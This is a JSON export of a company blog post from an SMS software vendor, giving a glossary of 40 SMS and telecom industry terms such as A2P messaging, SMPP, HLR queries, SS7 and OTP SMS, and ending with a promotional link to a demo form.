{"id":2668,"date":"2021-11-24T13:16:54","date_gmt":"2021-11-24T13:16:54","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2668"},"modified":"2025-09-05T11:28:26","modified_gmt":"2025-09-05T11:28:26","slug":"sms-glossary","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/","title":{"rendered":"SMS Glossary: 40 Most Commonly Used SMS Industry Terms"},"content":{"rendered":"<p>With 9 out of 10 people opening their text messages, SMS is still a popular mode of communication when compared to other modes such as email. Here we are explaining some of the most important and widely used SMS industry terminologies that you should know and understand.\u00a0 These popular SMS terminologies will help you in running your day-to-day SMS business without any hassle.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f6a26871\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f6a26871\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#1_A2P_Messaging\" title=\"1. A2P Messaging\">1. A2P Messaging<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#2_Alphanumeric_Sender_ID\" title=\"2. Alphanumeric Sender ID\">2. Alphanumeric Sender ID<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#3_Binary_Messages\" title=\"3. Binary Messages\">3. Binary Messages<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#4_Concatenated_Messages\" title=\"4. Concatenated Messages\">4. Concatenated Messages<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#5_DLR_Delivery_Report\" title=\"5. DLR (Delivery Report)\">5. DLR (Delivery Report)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#6_Fixed_Sender_ID\" title=\"6. Fixed Sender ID\">6. Fixed Sender ID<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#7_Flash_SMS\" title=\"7. Flash SMS\">7. Flash SMS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#8_Global_Title_GT\" title=\"8. Global Title (GT)\">8. Global Title (GT)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#9_International_Mobile_Subscriber_Identity_IMSI\" title=\"9. International Mobile Subscriber Identity (IMSI)\">9. International Mobile Subscriber Identity (IMSI)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#10_Local_Time_Stamp\" title=\"10. Local Time Stamp\">10. Local Time Stamp<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#11_Mobile_Network_Operator_MNO\" title=\"11. Mobile Network Operator (MNO)\">11. Mobile Network Operator (MNO)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#12_Mobile_Originated_SMS_Message_MO_SMS\" title=\"12. Mobile Originated SMS Message (MO SMS)\">12. Mobile Originated SMS Message (MO SMS)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#13_Mobile_Number_Portability_MNP\" title=\"13. Mobile Number Portability ( MNP)\">13. Mobile Number Portability ( MNP)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#14_Mobile_Station_International_Subscriber_Directory_Number_MSISDN\" title=\"14. Mobile Station International Subscriber Directory Number (MSISDN)\">14. Mobile Station International Subscriber Directory Number (MSISDN)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#15_MT_SMS_Mobile_Terminated_SMS_Message\" title=\"15. MT SMS (Mobile Terminated SMS Message)\">15. MT SMS (Mobile Terminated SMS Message)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#16_MVNO\" title=\"16. MVNO\">16. MVNO<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#17_HLR_Query\" title=\"17. HLR Query\">17. HLR Query<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#18_Numeric_Sender_ID\" title=\"18. Numeric Sender ID\">18. Numeric Sender ID<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#19_Termination_Rates\" title=\"19. Termination Rates\">19. Termination Rates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#20_Person_to_Application_P2A\" title=\"20. Person to Application (P2A)\">20. Person to Application (P2A)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#21_Person_to_Person_P2P_Messaging\" title=\"21. Person to Person (P2P) Messaging\">21. Person to Person (P2P) Messaging<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#22_SMPP\" title=\"22. SMPP\">22. SMPP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#23_SMS_Aggregator\" title=\"23. SMS Aggregator\">23. SMS Aggregator<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#24_SMS_Gateway\" title=\"24. SMS Gateway\">24. SMS Gateway<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#25_SMS_Hubbing\" title=\"25. SMS Hubbing\">25. SMS Hubbing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#26_SMS_Reseller\" title=\"26. SMS Reseller\">26. SMS Reseller<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#27_SMS_Power_Switch\" title=\"27. SMS Power Switch\">27. SMS Power Switch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#28_SS7\" title=\"28. SS7\">28. SS7<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#29_MCC\" title=\"29. MCC\">29. MCC<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#30_SMPP\" title=\"30. SMPP\">30. SMPP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#31_SMSC\" title=\"31. SMSC\">31. SMSC<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#32_2-Way_SMS\" title=\"32. 2-Way SMS\">32. 2-Way SMS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-33\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#33_Message_Log\" title=\"33. Message Log\">33. Message Log<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-34\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#34_Unicode\" title=\"34. Unicode\">34. Unicode<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-35\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#35_WAP_Push\" title=\"35. WAP Push\">35. WAP Push<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-36\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#36_OTP_SMS\" title=\"36. OTP SMS\">36. OTP SMS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-37\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#37_CPaaS\" title=\"37. CPaaS\">37. CPaaS<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-38\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#38_3G_Mobile_Technology\" title=\"38. 3G Mobile Technology\">38. 3G Mobile Technology<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-39\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#39_4G_Mobile_Technology\" title=\"39. 4G Mobile Technology\">39. 4G Mobile Technology<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-40\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#40_5G_Mobile_Technology\" title=\"40. 5G Mobile Technology\">40. 5G Mobile Technology<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-41\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-glossary\/#Looking_for_an_SMS_Platform\" title=\"Looking for an SMS Platform?\">Looking for an SMS Platform?<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"1_A2P_Messaging\"><\/span>1. A2P Messaging<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This is Application to Person Messaging where mobile messages are sent from an application to a person or a mobile user. It is also termed as enterprise, business, or professional messaging. Here, the message is initiated from a business application, and not from a user\u2019s mobile device. Typically, the line of communication is one-way which means the recipient is not always expected to respond or reply.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"2_Alphanumeric_Sender_ID\"><\/span>2. Alphanumeric Sender ID<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>These IDs are used in one-way messages wherein a mix of numbers from 0 to 9, both upper and lower case letters, and space characters are used. An alphanumeric sender ID can be as long as 11 characters and generally represent the business or brand name.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"3_Binary_Messages\"><\/span>3. Binary Messages<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>These type of messages are used to send data such as small files, rich content such as ringtones, and images, and to send WAP Push messages. Here, the messages are encoded to get over the restrictions in some characters. In technical terms, a binary SMS is in XML format made up of up to 140 bytes of data which is divided into two parts \u2013 User Data Header and Message Data.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"4_Concatenated_Messages\"><\/span>4. Concatenated Messages<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Concatenation means to link or join together. So, the idea of concatenation here is used to divide longer messages into small parts and send them individually to the recipient. The messages are then collected and reassembled at the recipient\u2019s end in the same order in which they were sent so that the message gets recreated. This is done because of the 160 characters limit in traditional SMSs.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"5_DLR_Delivery_Report\"><\/span>5. DLR (Delivery Report)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The delivery report provides the current status of the SMS that has been sent out. When a message is sent, it first reaches the SMSC which stores it and tries to deliver it. Once delivered, the Short Message Service Center or SMSC sends a notification message that the SMS sent from a device has been delivered to the recipient.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"6_Fixed_Sender_ID\"><\/span>6. Fixed Sender ID<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This type of sender ID is usually the sender\u2019s mobile phone number that cannot be changed as per the need of the user. It adheres to the standard MSISDN format where the maximum length is 15 digits, reserving 1-3 digits for country code.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"7_Flash_SMS\"><\/span>7. Flash SMS<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Flash SMS is a sort of pop-up notification that does not arrive as an SMS rather it lands directly on the home screen of the user\u2019s mobile phone. It is the user\u2019s choice to save it else it will get deleted automatically. These messages are sent for emergency alerts, deals, and offers.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"8_Global_Title_GT\"><\/span>8. Global Title (GT)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A global title is an address that comes into play when the routing of messages on telecommunications networks happens through the SCCP protocol. This address is theoretically unique but practically changes over time.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"9_International_Mobile_Subscriber_Identity_IMSI\"><\/span>9. International Mobile Subscriber Identity (IMSI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The International Mobile Subscriber Identity is usually a 15-digit unique number that identifies a GSM and UMTS, network subscriber. It is embedded in the SIM card of the mobile phone and usually consists of 3 parts \u2013 mobile country code, mobile network code, and mobile subscriber identification number.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"10_Local_Time_Stamp\"><\/span>10. Local Time Stamp<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is a feature that is useful for international enterprises who wish to send messages or notifications to their customers adapted to their local time. This facility displays the timestamp as per the customer\u2019s or recipient\u2019s local time.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"11_Mobile_Network_Operator_MNO\"><\/span>11. Mobile Network Operator (MNO)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A Mobile Network Operator, also known as Wireless Carrier, Mobile Network Carrier, Cellular Company, and Wireless Service Provider, offers wireless voice and data communication to its subscribed mobile users.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"12_Mobile_Originated_SMS_Message_MO_SMS\"><\/span>12. Mobile Originated SMS Message (MO SMS)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Mobile Originated messaging refers to a message that is sent from an end user\u2019s, customer\u2019s, or subscriber\u2019s mobile phone to the service provider. Generally, these messages are sent by users as a reply when they participate in a contest initiated by the service provider.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"13_Mobile_Number_Portability_MNP\"><\/span>13. Mobile Number Portability ( MNP)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is a facility that allows a mobile network user to switch from one wireless carrier to the other, irrespective of the location, without changing his mobile number. This generally happens when a mobile user is not satisfied with the services provided by the current network operator, so he shifts to another operator keeping the same mobile number.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"14_Mobile_Station_International_Subscriber_Directory_Number_MSISDN\"><\/span>14. Mobile Station International Subscriber Directory Number (MSISDN)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is a 15-digit number that helps in the identification of an international mobile phone number. It is the full phone number of a mobile device that includes country code and area code or national destination code and is used to identify a GSM or UMTS subscription.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"15_MT_SMS_Mobile_Terminated_SMS_Message\"><\/span>15. MT SMS (Mobile Terminated SMS Message)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Mobile Terminated SMS simply gets terminated or delivered on a mobile phone. These are sometimes also referred to as Mobile Terminated Messages. These messages are sent from the mobile SMS provider\u2019s system and are delivered to a subscriber\u2019s mobile phone. These types of messages are usually generated in response to a MO message. For example, a customer sends a message \u201cORDER\u201d and in response, the system generates a message \u201c20% off on your next order\u201d.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"16_MVNO\"><\/span>16. MVNO<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>MVNO is a mobile virtual network operator. It is a company that provides mobile phone service but does not have its licensed frequency allocation of the radio spectrum, nor does it have the necessary infrastructure to provide the full mobile network service. An MVNO usually signs a business agreement with a mobile network operator to get access to bulk MNO services at wholesale rates. Subsequently, MVNO then defines its retail prices.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"17_HLR_Query\"><\/span>17. HLR Query<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Also called Network Query or Number Look Up, Home Location Register Query (HLR Query) is a real-time query that fetches the current connectivity and portability data of a mobile phone. The HLR database has all the information about every mobile phone in the mobile network and thus acts as a primary source of information for subscriber data.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"18_Numeric_Sender_ID\"><\/span>18. Numeric Sender ID<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is the default sender type of SMS message in the standard MSISDN form. Recipients can reply to messages with a numeric sender ID. It is the name or number that the recipient will see at the top of an SMS usually highlighted in the \u201cfrom\u201d section. A numeric sender ID only consists of numbers up to 11 characters.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"19_Termination_Rates\"><\/span>19. Termination Rates<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Termination rate is the charge that one telecom operator charges to another when the latter\u2019s call terminates on the former\u2019s network. Suppose you make a call from your network A to a friend who has network B. Now, the operator of network A will charge you a fee per minute for your call. Also, operator of the network A will be charged a certain amount of fee by the operator of the network B because the call has been terminated on its network. In other words, the termination rate becomes a part of Operator of Network A\u2019s cost of providing the call to the customer.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"20_Person_to_Application_P2A\"><\/span>20. Person to Application (P2A)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Also known as Mobile Originated Messaging, here SMSs are sent from a mobile user to an application. A typical example is when a user wishes to subscribe to a particular service offered by the business; he starts the interaction with the business by sending an SMS.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"21_Person_to_Person_P2P_Messaging\"><\/span>21. Person to Person (P2P) Messaging<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Also called as Peer-to-Peer messaging, it is the simplest type of messaging that happens when one mobile phone user sends a text message to the other. A simple example is messaging between two friends. A mobile operator acts as an intermediate who is responsible for forwarding messages from one point to another.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"22_SMPP\"><\/span>22. SMPP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>SMPP is the short message peer-to-peer protocol. It is a telecom industry protocol for exchanging SMS messages between SMS peer entities such as Short Message Service Centers (SMSCs).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"23_SMS_Aggregator\"><\/span>23. SMS Aggregator<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>SMS Aggregators act as an intermediate between wireless carriers and SMS software providers. So, if a business wishes to send messages to its customers, SMS aggregators simplify the job by handling all the technicalities that are to be maintained with the wireless carriers.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"24_SMS_Gateway\"><\/span>24. SMS Gateway<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is the entry or exit point for SMS Messages. SMS Gateway enables a computer system to send and receive SMS messages to and from an SMS enabled device such as a mobile phone. It performs the role of the translator as it makes the sent message compatible for delivery over the network so that it reaches the intended recipient.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"25_SMS_Hubbing\"><\/span>25. SMS Hubbing<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is a new structure that defines the international flow of SMS traffic between operators. It was introduced as a solution to a problem that restricted the growth of international SMS i.e. the working of international mobile inter-operability. An SMS Hub is like a transfer house from where the SMS traffic is transmitted to its final destination. Thus SMS hubs are implemented to intermediate the SMS traffic and offer larger SMS coverage.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"26_SMS_Reseller\"><\/span>26. SMS Reseller<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>An SMS reseller purchases SMS credits in bulk from the SMS Service Provider at wholesale rates and then resells them in small batches to customers at a price that yields profit.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"27_SMS_Power_Switch\"><\/span>27. SMS Power Switch<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It is a user-friendly remote power control switching device that is fully controlled by the means of an SMS or text message. This simply means that to operate, one just needs to send a text message with the appropriate numeral command.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"28_SS7\"><\/span>28. SS7<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It stands for Signalling System Number 7 which is a set of protocols used by mobile phone networks to exchange data for processing voice calls and text messages. SS7 protocol is also used in prepaid billing to ensure that the customer is billed the right amount according to their specific tariff.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"29_MCC\"><\/span>29. MCC<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It stands for Mobile Country Code which is used to identify the country of a specific mobile phone subscriber. It usually consists of 3 decimal digits wherein the first digit represents the geographic region. It is used in combination with MNC i.e. mobile network code for unique identification of a mobile network operator.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"30_SMPP\"><\/span>30. SMPP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Short Message Peer-to-Peer Protocol is used in the telecom industry for exchanging text messages between external short message entities, routing entities, and message centers. You can also read our post on <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/smpp-server\/\">SMPP Server: How to Choose Best Secure SMPP Server Provider?<\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"31_SMSC\"><\/span>31. SMSC<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Whenever a message is initiated by a mobile phone, it first reaches an SMSC. A short message service center (SMSC) is responsible for routing an SMS to the recipient and if, in case, the receiving end is not available then SMSC stores the message and delivers it once the recipient is available.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"32_2-Way_SMS\"><\/span>32. 2-Way SMS<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It\u2019s a facility or a platform where outbound and inbound messages are incorporated into one service. To put it simply, using this feature, a user can send and receive messages on the same number over a web interface. For example, if a business sends a message to a client then the client can also reply using preset commands or codes.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"33_Message_Log\"><\/span>33. Message Log<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The Message Log facility helps in getting real-time insights into SMS traffic. It helps in figuring out the performance of the SMS campaigns through various filters including period filter, routing filter, content filter, etc. It is quite useful if there is an issue such as SMS failure.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"34_Unicode\"><\/span>34. Unicode<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Also called as the Unicode Standard, it is an information technology standard that allows the consistent encoding, representation, and manipulation of text expressed in most of the world\u2019s writing systems. It\u2019s an SMS MT feature that allows sending of any content within an SMS message.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"35_WAP_Push\"><\/span>35. WAP Push<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Wireless Application Protocol Push or WAP Push is a mechanism to push WAP content to a mobile handset without minimum user intervention. In other words, it directs an SMS recipient to a web page or a website without them having to enter the web URL in their phone\u2019s browser. It is sent in the form of an encoded message that includes a link to a WAP address which is in the header of the SMS. So when an SMS recipient taps on the link, the phone prompts them to open the content, and they are directed to the address and the content gets displayed.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"36_OTP_SMS\"><\/span>36. OTP SMS<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>OTP stands for One-Time Password which is an authentication mechanism where OTP is sent to the registered mobile number of a user through an SMS. This mechanism is also known as 2 Factor Authentication. Usually, there\u2019s a specific time frame within which an OTP can be used.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"37_CPaaS\"><\/span>37. CPaaS<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Communications Platform as a Service or Cloud communications platform is a category of cloud computing services that allow developers or organizations to add real-time communication capabilities such as voice, video, and SMS messaging to their applications without needing to develop backend infrastructure and interfaces. This is often achieved with the help of Application Programming Interfaces and software development kits.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"38_3G_Mobile_Technology\"><\/span>38. 3G Mobile Technology<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>3G is the third generation of wireless mobile telecommunications technology which was introduced in the year 2003. It was an upgrade over all the 2G networks offering faster data transfer and internet access. This helped users to browse websites, make video calls download media files on the move.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"39_4G_Mobile_Technology\"><\/span>39. 4G Mobile Technology<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Succeeding 3G and preceding 5G, 4G is the fourth generation of mobile phone technology. As each generation of wireless cellular technology introduces improvements in upload\/download speeds, call clarity, and reduced latency, 4G offers speeds of up to 100 Mbit\/s.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"40_5G_Mobile_Technology\"><\/span>40. 5G Mobile Technology<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>5G is the fifth-generation technology standard for broadband cellular networks. It is the successor to 4G networks and its worldwide deployment began in the year 2019. This technology is meant to deliver higher data speeds, massive network capacity, ultra-low latency, and more reliability, and availability, thus, resulting in providing a uniform user experience. Using 5G, users can enjoy extremely high-speed internet, real-time streaming of data, location-based technology, etc.<\/p>\n<p>We will be coming up with more SMS industry terms to help you keep your knowledge up to date.<\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Looking_for_an_SMS_Platform\"><\/span><strong>Looking for an SMS Platform?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-sms-platform#free_demo_form\" target=\"_blank\" 